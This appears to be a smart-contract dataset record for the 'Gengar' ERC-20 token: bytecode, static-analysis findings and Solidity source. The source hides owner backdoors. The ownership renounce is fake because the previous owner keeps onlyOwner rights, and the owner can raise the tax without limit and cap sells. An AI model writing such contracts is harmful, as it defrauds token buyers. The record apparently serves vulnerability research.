81527f4cd1cedac1faabaf2d2d626f6caa6a7df4cf69ec7ecc3bcae2f938bdedc860719060200160405180910390a150506010805460ff60a01b1916905550565b6000600160146000828254611fb191906125fe565b90915550506010546001600160a01b03838116911614158015611fed57506001600160a01b0382166000908152601e602052604090205460ff16155b80156120025750601354600160a01b900460ff165b6015805460ff1916911515918217905560ff1692915050565b6010805460ff60a01b1916600160a01b179055601c8054600191906000906120449084906125fe565b9091555050604080516002808252606082018352600092602083019080368337019050509050308160008151811061208c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152602254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156120e057600080fd5b505afa1580156120f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612118919061237a565b8160018151811061213957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260225461215f913091168461126a565b60225460405163791ac94760e01b81526001600160a01b039091169063791ac947906121989085906000908690899042906004016125c2565b600060405180830381600087803b1580156121b257600080fd5b505af11580156121c6573d6000803e3d6000fd5b50506010805460ff60a01b191690555050505050565b6040805160028082526060820183526000926020830190803683375050602254604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561224157600080fd5b505afa158015612255573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612279919061237a565b8160008151811061229a57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106122dc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260225460135460405163b6f9de9560e01b81529183169263b6f9de95928692612328926000928892909116904290600401612505565b6000604051808303818588803b15801561234157600080fd5b505af1158015612355573d6000803e3d6000fd5b50505050505050565b60006020828403121561236f578081fd5b81356111e4816126bd565b60006020828403121561238b578081fd5b81516111e4816126bd565b600080604083850312156123a8578081fd5b82356123b3816126bd565b915060208301356123c3816126bd565b809150509250929050565b6000806000606084860312156123e2578081fd5b83356123ed816126bd565b925060208401356123fd816126bd565b929592945050506040919091013590565b60008060408385031215612420578182fd5b823561242b816126bd565b946020939093013593505050565b60006020828403121561244a578081fd5b815180151581146111e4578182fd5b60006020828403121561246a578081fd5b5035919050565b60008060408385031215612483578182fd5b8235915060208301356123c3816126bd565b6000806000606084860312156124a9578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b838110156124fa5781516001600160a01b0316875295820195908201906001016124d5565b509495945050505050565b84815260806020820152600061251e60808301866124c2565b6001600160a01b03949094166040830152506060015292915050565b6000602080835283518082850152825b818110156125665785810183015185820160400152820161254a565b818111156125775783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a0604082015260006125e160a08301866124c2565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115612611576126116126a7565b500190565b60008261263157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612650576126506126a7565b500290565b600082821015612667576126676126a7565b500390565b600181811c9082168061268057607f821691505b602082108114156126a157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146109b157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c9d4561cda58ab4307de6afacb64efcbd2cc627cd1a0387d7be5eab6d104b27264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,307 |
0xf038d6be29bda93b995ebf00de7512ed4978a8d4
|
// SPDX-License-Identifier: GNU
// Telegram: t.me/gengareth
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _previousOwner==_msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_previousOwner=_owner;
_owner = address(0xdead);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Gengar is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=4;
address payable private _taxWallet;
string private constant _name = "Gengar";
string private constant _symbol = "GENGAR";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _ceil = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x5A5AdD3D159f6630a2aE4ed4bf96B25a93C2de89);
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require(amount <= _ceil);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_ceil = 10000000000 ;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setCeiling(uint256 ceil) external onlyOwner {
_ceil = ceil;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b146102695780638f02cf971461029457806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612113565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121ce565b6103f6565b6040516101629190612229565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612253565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b8919061226e565b61041e565b6040516101ca9190612229565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f591906122dd565b60405180910390f35b34801561020a57600080fd5b506102136104fc565b005b34801561022157600080fd5b5061023c600480360381019061023791906122f8565b610576565b6040516102499190612253565b60405180910390f35b34801561025e57600080fd5b506102676105c7565b005b34801561027557600080fd5b5061027e6107dc565b60405161028b9190612334565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b6919061234f565b610805565b005b3480156102c957600080fd5b506102d2610903565b6040516102df9190612113565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906121ce565b610940565b60405161031c9190612229565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061234f565b61095e565b005b34801561035a57600080fd5b50610363610aa0565b005b34801561037157600080fd5b5061038c6004803603810190610387919061237c565b61101f565b6040516103999190612253565b60405180910390f35b3480156103ae57600080fd5b506103b76110a6565b005b60606040518060400160405280600681526020017f47656e6761720000000000000000000000000000000000000000000000000000815250905090565b600061040a610403611118565b8484611120565b6001905092915050565b6000600554905090565b600061042b8484846112eb565b6104ec84610437611118565b6104e785604051806060016040528060288152602001612e4f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d611118565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116139092919063ffffffff16565b611120565b600190509392505050565b600090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053d611118565b73ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b600061056830610576565b905061057381611677565b50565b60006105c0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ff565b9050919050565b6105cf611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067c575061062b611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6106bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b290612408565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61080d611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108ba5750610869611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090612408565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600681526020017f47454e4741520000000000000000000000000000000000000000000000000000815250905090565b600061095461094d611118565b84846112eb565b6001905092915050565b610966611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a1357506109c2611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612408565b60405180910390fd5b6000811015610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90612474565b60405180910390fd5b8060088190555050565b610aa8611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610b555750610b04611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90612408565b60405180910390fd5b600b60149054906101000a900460ff1615610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb906124e0565b60405180910390fd5b610c1330600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7b57600080fd5b505afa158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb39190612515565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3757600080fd5b505afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f9190612515565b6040518363ffffffff1660e01b8152600401610d8c929190612542565b602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190612515565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e6730610576565b600080610e726107dc565b426040518863ffffffff1660e01b8152600401610e94969594939291906125b0565b6060604051808303818588803b158015610ead57600080fd5b505af1158015610ec1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee69190612626565b5050506001600b60166101000a81548160ff0219169083151502179055506402540be400600c819055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fca929190612679565b602060405180830381600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101c91906126ce565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611118565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b60004790506111158161196d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611190576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111879061276d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f7906127ff565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112de9190612253565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290612891565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290612923565b60405180910390fd5b6000811161140e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611405906129b5565b60405180910390fd5b6114166107dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457506114546107dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156115345750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561154957600c5481111561154857600080fd5b5b600061155430610576565b9050600b60159054906101000a900460ff161580156115c15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115d95750600b60169054906101000a900460ff165b15611601576115e781611677565b600047905060008111156115ff576115fe4761196d565b5b505b505b61160e8383836119d9565b505050565b600083831115829061165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116529190612113565b60405180910390fd5b506000838561166a9190612a04565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116af576116ae612a38565b5b6040519080825280602002602001820160405280156116dd5781602001602082028036833780820191505090505b50905030816000815181106116f5576116f4612a67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179757600080fd5b505afa1580156117ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cf9190612515565b816001815181106117e3576117e2612a67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061184a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118ae959493929190612b54565b600060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600654821115611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d90612c20565b60405180910390fd5b60006119506119e9565b90506119658184611a1490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119d5573d6000803e3d6000fd5b5050565b6119e4838383611a5e565b505050565b60008060006119f6611c29565b91509150611a0d8183611a1490919063ffffffff16565b9250505090565b6000611a5683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c76565b905092915050565b600080600080600080611a7087611cd9565b955095509550955095509550611ace86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611baf81611de9565b611bb98483611ea6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c169190612253565b60405180910390a3505050505050505050565b6000806000600654905060006005549050611c51600554600654611a1490919063ffffffff16565b821015611c6957600654600554935093505050611c72565b81819350935050505b9091565b60008083118290611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb49190612113565b60405180910390fd5b5060008385611ccc9190612c6f565b9050809150509392505050565b6000806000806000806000806000611cf68a600854600854611ee0565b9250925092506000611d066119e9565b90506000806000611d198e878787611f76565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611d8383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611613565b905092915050565b6000808284611d9a9190612ca0565b905083811015611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd690612d42565b60405180910390fd5b8091505092915050565b6000611df36119e9565b90506000611e0a8284611fff90919063ffffffff16565b9050611e5e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ebb82600654611d4190919063ffffffff16565b600681905550611ed681600754611d8b90919063ffffffff16565b6007819055505050565b600080600080611f0c6064611efe888a611fff90919063ffffffff16565b611a1490919063ffffffff16565b90506000611f366064611f28888b611fff90919063ffffffff16565b611a1490919063ffffffff16565b90506000611f5f82611f51858c611d4190919063ffffffff16565b611d4190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611f8f8589611fff90919063ffffffff16565b90506000611fa68689611fff90919063ffffffff16565b90506000611fbd8789611fff90919063ffffffff16565b90506000611fe682611fd88587611d4190919063ffffffff16565b611d4190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120125760009050612074565b600082846120209190612d62565b905082848261202f9190612c6f565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e2e565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120b4578082015181840152602081019050612099565b838111156120c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006120e58261207a565b6120ef8185612085565b93506120ff818560208601612096565b612108816120c9565b840191505092915050565b6000602082019050818103600083015261212d81846120da565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121658261213a565b9050919050565b6121758161215a565b811461218057600080fd5b50565b6000813590506121928161216c565b92915050565b6000819050919050565b6121ab81612198565b81146121b657600080fd5b50565b6000813590506121c8816121a2565b92915050565b600080604083850312156121e5576121e4612135565b5b60006121f385828601612183565b9250506020612204858286016121b9565b9150509250929050565b60008115159050919050565b6122238161220e565b82525050565b600060208201905061223e600083018461221a565b92915050565b61224d81612198565b82525050565b60006020820190506122686000830184612244565b92915050565b60008060006060848603121561228757612286612135565b5b600061229586828701612183565b93505060206122a686828701612183565b92505060406122b7868287016121b9565b9150509250925092565b600060ff82169050919050565b6122d7816122c1565b82525050565b60006020820190506122f260008301846122ce565b92915050565b60006020828403121561230e5761230d612135565b5b600061231c84828501612183565b91505092915050565b61232e8161215a565b82525050565b60006020820190506123496000830184612325565b92915050565b60006020828403121561236557612364612135565b5b6000612373848285016121b9565b91505092915050565b6000806040838503121561239357612392612135565b5b60006123a185828601612183565b92505060206123b285828601612183565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123f2602083612085565b91506123fd826123bc565b602082019050919050565b60006020820190508181036000830152612421816123e5565b9050919050565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b600061245e601983612085565b915061246982612428565b602082019050919050565b6000602082019050818103600083015261248d81612451565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006124ca601783612085565b91506124d582612494565b602082019050919050565b600060208201905081810360008301526124f9816124bd565b9050919050565b60008151905061250f8161216c565b92915050565b60006020828403121561252b5761